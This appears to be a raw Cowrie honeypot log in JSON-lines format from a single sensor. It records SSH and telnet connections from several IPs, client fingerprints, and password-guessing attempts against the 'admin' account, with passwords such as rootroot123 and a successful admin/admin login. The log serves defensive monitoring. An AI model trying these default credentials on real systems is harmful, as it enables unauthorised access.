{"eventid":"cowrie.session.connect","src_ip":"27.254.36.19","src_port":36344,"dst_ip":"159.203.135.109","dst_port":23,"session":"05b8c7180767","protocol":"telnet","message":"New connection: 27.254.36.19:36344 (159.203.135.109:23) [session: 05b8c7180767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:08:10.793915Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37582,"dst_ip":"159.203.135.109","dst_port":22,"session":"de9c545412df","protocol":"ssh","message":"New connection: 159.203.92.129:37582 (159.203.135.109:22) [session: de9c545412df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:08:17.241532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:08:17.246578Z","src_ip":"159.203.92.129","session":"de9c545412df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:08:17.256729Z","src_ip":"159.203.92.129","session":"de9c545412df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"rootpass","message":"login attempt [admin/rootpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:08:17.270028Z","src_ip":"159.203.92.129","session":"de9c545412df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:08:18.303312Z","src_ip":"159.203.92.129","session":"de9c545412df","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:08:24.883827Z","src_ip":"206.189.85.103","session":"057c8918beb9","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:08:24.928566Z","src_ip":"206.189.85.103","session":"057c8918beb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.39433765411377,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:08:34.145552Z","src_ip":"27.254.36.19","session":"561116425845","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.362194776535034,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:08:41.155994Z","src_ip":"27.254.36.19","session":"05b8c7180767","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.254.36.19","src_port":56636,"dst_ip":"159.203.135.109","dst_port":23,"session":"60d1e0312f04","protocol":"telnet","message":"New connection: 27.254.36.19:56636 (159.203.135.109:23) [session: 60d1e0312f04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:08:47.472500Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50832,"dst_ip":"159.203.135.109","dst_port":22,"session":"63e242b34e4b","protocol":"ssh","message":"New connection: 159.203.92.129:50832 (159.203.135.109:22) [session: 63e242b34e4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:08:58.867779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:08:58.872872Z","src_ip":"159.203.92.129","session":"63e242b34e4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:08:58.877734Z","src_ip":"159.203.92.129","session":"63e242b34e4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"rootroot","message":"login attempt [admin/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:08:58.889539Z","src_ip":"159.203.92.129","session":"63e242b34e4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:08:59.894665Z","src_ip":"159.203.92.129","session":"63e242b34e4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.707310438156128,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:09:18.179652Z","src_ip":"27.254.36.19","session":"60d1e0312f04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55330,"dst_ip":"159.203.135.109","dst_port":22,"session":"d021508234ef","protocol":"ssh","message":"New connection: 159.203.92.129:55330 (159.203.135.109:22) [session: d021508234ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:09:41.231741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:09:41.237016Z","src_ip":"159.203.92.129","session":"d021508234ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:09:41.241794Z","src_ip":"159.203.92.129","session":"d021508234ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"rootroot123","message":"login attempt [admin/rootroot123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:09:41.252942Z","src_ip":"159.203.92.129","session":"d021508234ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:09:42.259711Z","src_ip":"159.203.92.129","session":"d021508234ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.185.132.105","src_port":61968,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0712f4c34b1","protocol":"telnet","message":"New connection: 147.185.132.105:61968 (159.203.135.109:23) [session: a0712f4c34b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:10:07.774485Z"}
{"eventid":"cowrie.session.closed","duration":9.973673343658447,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:10:17.748028Z","src_ip":"147.185.132.105","session":"a0712f4c34b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45994,"dst_ip":"159.203.135.109","dst_port":22,"session":"046e905e75d9","protocol":"ssh","message":"New connection: 159.203.92.129:45994 (159.203.135.109:22) [session: 046e905e75d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:10:25.749858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:10:25.760401Z","src_ip":"159.203.92.129","session":"046e905e75d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:10:25.777102Z","src_ip":"159.203.92.129","session":"046e905e75d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"rootroot1234","message":"login attempt [admin/rootroot1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:10:25.808033Z","src_ip":"159.203.92.129","session":"046e905e75d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:10:26.827714Z","src_ip":"159.203.92.129","session":"046e905e75d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.254.36.19","src_port":35232,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b3c49def3ed","protocol":"telnet","message":"New connection: 27.254.36.19:35232 (159.203.135.109:23) [session: 9b3c49def3ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:10:56.277996Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41256,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8fb0f2ff63f","protocol":"ssh","message":"New connection: 159.203.92.129:41256 (159.203.135.109:22) [session: b8fb0f2ff63f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:11:06.536465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:11:06.607503Z","src_ip":"159.203.92.129","session":"b8fb0f2ff63f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:11:06.611379Z","src_ip":"159.203.92.129","session":"b8fb0f2ff63f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"rootrootroot","message":"login attempt [admin/rootrootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:11:06.770030Z","src_ip":"159.203.92.129","session":"b8fb0f2ff63f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:11:07.853521Z","src_ip":"159.203.92.129","session":"b8fb0f2ff63f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.254.36.19","src_port":35660,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ffe5370fdbf","protocol":"telnet","message":"New connection: 27.254.36.19:35660 (159.203.135.109:23) [session: 7ffe5370fdbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:11:27.287376Z"}
{"eventid":"cowrie.session.closed","duration":31.026752948760986,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:11:27.304662Z","src_ip":"27.254.36.19","session":"9b3c49def3ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60318,"dst_ip":"159.203.135.109","dst_port":22,"session":"8856a1028eaf","protocol":"ssh","message":"New connection: 159.203.92.129:60318 (159.203.135.109:22) [session: 8856a1028eaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:11:47.506650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:11:47.511539Z","src_ip":"159.203.92.129","session":"8856a1028eaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:11:47.516728Z","src_ip":"159.203.92.129","session":"8856a1028eaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"rootszzZ","message":"login attempt [admin/rootszzZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:11:47.527888Z","src_ip":"159.203.92.129","session":"8856a1028eaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:11:48.534377Z","src_ip":"159.203.92.129","session":"8856a1028eaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.858444213867188,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:11:58.145724Z","src_ip":"27.254.36.19","session":"7ffe5370fdbf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.185.36.113","src_port":34306,"dst_ip":"159.203.135.109","dst_port":23,"session":"a65830123003","protocol":"telnet","message":"New connection: 177.185.36.113:34306 (159.203.135.109:23) [session: a65830123003]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:12:03.673779Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.185.36.113","src_port":41123,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a0cda265dad","protocol":"telnet","message":"New connection: 177.185.36.113:41123 (159.203.135.109:23) [session: 3a0cda265dad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:12:04.125445Z"}
